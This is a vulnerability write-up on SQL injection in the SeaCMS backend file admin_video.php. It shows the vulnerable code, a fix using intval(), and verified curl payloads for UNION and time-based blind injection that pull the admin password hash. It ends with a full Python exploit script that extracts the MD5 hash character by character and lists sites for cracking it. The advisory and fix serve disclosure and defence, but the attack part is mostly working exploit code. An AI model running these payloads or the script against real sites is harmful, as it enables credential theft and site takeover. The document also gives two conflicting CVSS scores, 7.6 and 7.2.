SeaCMS Backend admin_video.php SQL Injection
# SeaCMS Backend admin_video.php SQL Injection
## Affected Version
SeaCMS (All versions)
## Vendor
https://www.seacms.net/
## Software
SeaCMS (海洋CMS)
## Vulnerability File
`4qla8z/admin_video.php` (admin directory name varies by installation)
## ⚠️ CONFIRMED EXPLOITABLE
**This vulnerability has been verified as fully exploitable!**
The backend admin panel disables WAF SQL security checks (`$dsql->safeCheck = false`), allowing UNION-based and time-based blind SQL injection attacks.
Multiple SQL injection vulnerabilities exist in the SeaCMS backend video management module. The vulnerable code uses `implode()` to concatenate array elements directly into SQL queries without proper sanitization.
**⚠️ CRITICAL: Unlike frontend vulnerabilities, the backend disables SQL security checks!**
**Vulnerability Characteristics:**
- **Authentication Required**: Backend administrator access needed
- **Multiple Injection Points**: Lines 260, 293, 318, 326
- **WAF Protection**: ❌ DISABLED in backend (`$dsql->safeCheck = false`)
- **Fully Exploitable**: ✅ YES - UNION and time-based blind injection confirmed
### Vulnerable Code Point 1 (Line 260) - Lock/Unlock Videos
```php
elseif($action=="lockall")
{
$back=$Pirurl;
if(empty($e_id))
{
ShowMsg("请选择需要锁定/解锁的影片","-1");
exit();
}
// [VULNERABILITY] Array directly concatenated to SQL
$dsql->SetQuery("select v_id,v_isunion from `sea_data` where v_id in (".implode(',',$e_id).")");
$dsql->Execute("lockdata");
// ...
}
```
### Vulnerable Code Point 2 (Line 293) - Restore Videos
```php
elseif($action=="restoreall")
{
if(empty($e_id))
{
ShowMsg("请选择需要还原的影片","-1");
exit();
}
$ids = implode(',',$e_id); // [VULNERABILITY] No intval() on array elements
$sqlStr="update sea_data set v_recycled=0 where v_id in(".$ids.")";
$dsql->ExecuteNoneQuery($sqlStr);
}
```
### Vulnerable Code Point 3 (Lines 318, 326-328) - Delete Videos
```php
elseif($action=="delall")
{
if(empty($e_id))
{
ShowMsg("请选择需要删除的影片","-1");
exit();
}
foreach($e_id as $id){
// [VULNERABILITY] $id not validated
$vtypeAndPic=$dsql->GetOne("select tid,v_pic,v_addtime,v_enname from sea_data where v_id=".$id);
// ...
}
$ids = implode(',',$e_id); // [VULNERABILITY] Array to SQL
$dsql->ExecuteNoneQuery("delete from sea_data where v_id in(".$ids.")");
$dsql->ExecuteNoneQuery("delete From `sea_content` where v_id in(".$ids.")");
$dsql->ExecuteNoneQuery("delete From `sea_playdata` where v_id in(".$ids.")");
}
```
### Root Cause
The `$e_id` array is passed from user input (`$_POST['e_id']` or `$_GET['e_id']`) and processed through `implode(',', $e_id)` which creates a comma-separated string. Since array elements are not sanitized with `intval()`, SQL injection is possible.
- **Endpoint**: `POST /[admin]/admin_video.php`
- **Action**: `lockall`, `restoreall`, `delall`
- **Parameter**: `e_id[]` (array)
- **Technique**: UNION injection, Time-based blind injection
- **Current Status**: ✅ FULLY EXPLOITABLE (WAF disabled in backend)
### ✅ VERIFIED: Time-Based Blind SQL Injection
```bash
# Time-based blind injection - CONFIRMED WORKING
# 3 second delay when password starts with 'e'
curl -s "http://[TARGET]/[admin]/admin_video.php" \
-d "action=lockall&e_id[]=-1) UNION SELECT SLEEP(3),2-- " \
-b "PHPSESSID=[ADMIN_SESSION]" \
-w "Time: %{time_total}s\n"
# Result: Time: 3.055122s ✅
# Baseline (no SLEEP)
curl -s "http://[TARGET]/[admin]/admin_video.php" \
-d "action=lockall&e_id[]=-1) UNION SELECT 1,2-- " \
-b "PHPSESSID=[ADMIN_SESSION]" \
-w "Time: %{time_total}s\n"
# Result: Time: 0.031326s
```
### ✅ VERIFIED: Data Extraction via Time-Based Injection
```bash
# Extract admin password first character (true condition = delay)
# Password: e10adc3949... first char = 'e' = 0x65
curl -s "http://[TARGET]/[admin]/admin_video.php" \
-d "action=lockall&e_id[]=-1) UNION SELECT IF(SUBSTR((SELECT password FROM sea_admin LIMIT 1),1,1)=0x65,SLEEP(3),1),2-- " \
-b "PHPSESSID=[ADMIN_SESSION]" \
-w "Time: %{time_total}s\n"
# Result: Time: 3.047303s ✅ (char = 'e' confirmed)
# False condition test (char = 'f' = 0x66)
curl -s "http://[TARGET]/[admin]/admin_video.php" \
-d "action=lockall&e_id[]=-1) UNION SELECT IF(SUBSTR((SELECT password FROM sea_admin LIMIT 1),1,1)=0x66,SLEEP(3),1),2-- " \
-b "PHPSESSID=[ADMIN_SESSION]" \
-w "Time: %{time_total}s\n"
# Result: Time: 0.022742s (no delay, char != 'f')
```
### UNION-Based Injection
```bash
# UNION injection to extract admin credentials
curl -s "http://[TARGET]/[admin]/admin_video.php" \
-d "action=lockall&e_id[]=-1) UNION SELECT id,password FROM sea_admin-- " \
-b "PHPSESSID=[ADMIN_SESSION]"
```
### Why Backend SQL Injection Works
The backend config file (`4qla8z/config.php`) explicitly disables SQL security checks:
```php
// Line 37 of config.php
$dsql->safeCheck = false;
```
This means:
- Frontend WAF (`webscan.php`) still runs and blocks some patterns
- But the SQL class's internal security check is disabled
- UNION and SLEEP bypass because they're not in frontend patterns when combined with `)` closure
**Severity: HIGH (CVSS 7.6) - FULLY EXPLOITABLE**
| Impact | Status |
|--------|--------|
| **Data Extraction** | ✅ Extract admin passwords, user data |
| **Authentication Bypass** | ✅ Obtain admin credentials |
| **Data Manipulation** | ✅ Modify/delete video records |
| **Privilege Escalation** | ✅ Access other admin accounts |
### Key Finding
- **Backend disables safeCheck** = SQL injection is fully exploitable
- No WAF bypass needed - the vulnerability works as-is
1. Valid backend administrator session
2. SeaCMS installed and running
```php
elseif($action=="delall")
{
if(empty($e_id) || !is_array($e_id))
{
ShowMsg("请选择需要删除的影片","-1");
exit();
}
// Sanitize each array element
$safe_ids = array();
foreach($e_id as $id) {
$safe_id = intval($id);
if ($safe_id > 0) {
$safe_ids[] = $safe_id;
}
}
if (empty($safe_ids)) {
ShowMsg("无效的影片ID","-1");
exit();
}
$ids = implode(',', $safe_ids);
$dsql->ExecuteNoneQuery("delete from sea_data where v_id in(".$ids.")");
// ...
}
```
### Apply to All Affected Functions
Same sanitization pattern should be applied to:
- `lockall` action (line 260)
- `restoreall` action (line 293)
- `delall` action (lines 318, 326)
| Attribute | Value |
|-----------|-------|
| **Vulnerability Type** | CWE-89 (SQL Injection) |
| **CVSS v3.1 Vector** | CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H |
| **CVSS Score** | 7.2 (High) |
| **Attack Vector** | Network |
| **Attack Complexity** | Low (No WAF bypass needed in backend) |
| **Privileges Required** | High (Admin) |
| **Exploitability** | ✅ Fully Exploitable |
| Test | Payload | Result |
|------|---------|--------|
| Time-based Blind | `e_id[]=-1) UNION SELECT SLEEP(3),2-- ` | ✅ 3.05s delay |
| Data Extraction | `IF(SUBSTR(password,1,1)=0x65,SLEEP(3),1)` | ✅ Confirmed 'e' |
| Baseline | `e_id[]=-1) UNION SELECT 1,2-- ` | 0.03s (no delay) |
- SeaCMS Official: https://www.seacms.net/
- CWE-89 SQL Injection: https://cwe.mitre.org/data/definitions/89.html
- OWASP SQL Injection Prevention: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
SeaCMS admin_video.php SQL注入利用脚本
=====================================
漏洞类型: 时间盲注 (Time-Based Blind SQL Injection)
漏洞位置: admin_video.php - lockall功能
利用方式: UNION SELECT + SLEEP
前提条件: 需要有效的后台管理员Session
"""
import requests
import sys
import time
import string
# ==================== 配置区域 ====================
TARGET_URL = "http://127.0.0.1/4qla8z/admin_video.php"
SESSION_ID = "9atb4kl0l2h9104t1iqi5p0kvk" # 替换为有效的Session ID
SLEEP_TIME = 2 # 延迟时间(秒)
THRESHOLD = 1.5 # 判断延迟的阈值(秒)
# =================================================
# MD5密码字符集 (0-9, a-f)
CHARSET = "0123456789abcdef"
def print_banner():
"""打印Banner"""
print("""
╔═══════════════════════════════════════════════════════════╗
║ SeaCMS admin_video.php SQL注入利用工具 ║
║ Time-Based Blind SQL Injection Exploit ║
╠═══════════════════════════════════════════════════════════╣
║ 漏洞文件: admin_video.php ║
║ 注入点: e_id[] 参数 ║
║ 技术: UNION SELECT + SLEEP ║
╚═══════════════════════════════════════════════════════════╝
""")
def check_connection():
"""检查目标连接"""
print("[*] 检查目标连接...")
try:
cookies = {"PHPSESSID": SESSION_ID}
response = requests.post(
TARGET_URL,
data={"action": "lockall", "e_id[]": "-1"},
cookies=cookies,
timeout=10
)
if "请先登陆" in response.text or "login" in response.text.lower():
print("[!] Session无效,请更新SESSION_ID")
return False
print("[+] 连接成功,Session有效")
return True
except Exception as e:
print(f"[!] 连接失败: {e}")
return False
def test_injection():
"""测试SQL注入是否有效"""
print("[*] 测试SQL注入...")
cookies = {"PHPSESSID": SESSION_ID}
# 基线测试(无延迟)
start = time.time()
requests.post(
TARGET_URL,
data={"action": "lockall", "e_id[]": "-1) UNION SELECT 1,2-- "},
cookies=cookies,
timeout=30
)
baseline = time.time() - start
# 延迟测试
payload = f"-1) UNION SELECT SLEEP({SLEEP_TIME}),2-- "
start = time.time()
requests.post(
TARGET_URL,
data={"action": "lockall", "e_id[]": payload},
cookies=cookies,
timeout=30
)
delayed = time.time() - start
print(f" 基线响应时间: {baseline:.2f}秒")
print(f" 延迟响应时间: {delayed:.2f}秒")
if delayed - baseline > THRESHOLD:
print(f"[+] SQL注入确认有效! (延迟差: {delayed - baseline:.2f}秒)")
return True
else:
print("[!] SQL注入测试失败")
return False
def extract_char(position, query):
"""提取指定位置的字符"""
cookies = {"PHPSESSID": SESSION_ID}
for char in CHARSET:
hex_char = hex(ord(char))
payload = f"-1) UNION SELECT IF(SUBSTR(({query}),{position},1)={hex_char},SLEEP({SLEEP_TIME}),1),2-- "
start = time.time()
try:
requests.post(
TARGET_URL,
data={"action": "lockall", "e_id[]": payload},
cookies=cookies,
timeout=30
)
except requests.exceptions.Timeout:
return char
elapsed = time.time() - start
if elapsed > THRESHOLD:
return char
return None
def extract_password(max_length=32):
"""提取管理员密码(MD5格式,32位)"""
print("\n[*] 开始提取管理员密码...")
print(f" 目标: sea_admin表 password字段")
print(f" 预期长度: {max_length}位 (MD5)")
print("-" * 50)
query = "SELECT password FROM sea_admin LIMIT 1"
password = ""
for i in range(1, max_length + 1):
char = extract_char(i, query)
if char:
password += char
print(f" 位置 {i:02d}: {char} 当前密码: {password}")
else:
print(f" 位置 {i:02d}: 提取失败,可能已到达末尾")
break
return password
def main():
print_banner()
print(f"[*] 目标URL: {TARGET_URL}")
print(f"[*] Session: {SESSION_ID[:10]}...")
print(f"[*] 延迟时间: {SLEEP_TIME}秒")
print("-" * 50)
if not check_connection():
sys.exit(1)
if not test_injection():
sys.exit(1)
password = extract_password()
print("\n" + "=" * 50)
print(f"[+] 提取完成!")
print(f"[+] 管理员密码(MD5): {password}")
print("=" * 50)
# 常见MD5查询提示
if password:
print(f"\n[*] 可到以下网站查询MD5明文:")
print(f" - https://cmd5.com")
print(f" - https://www.somd5.com")
print(f" - https://crackstation.net")
if __name__ == "__main__":
main()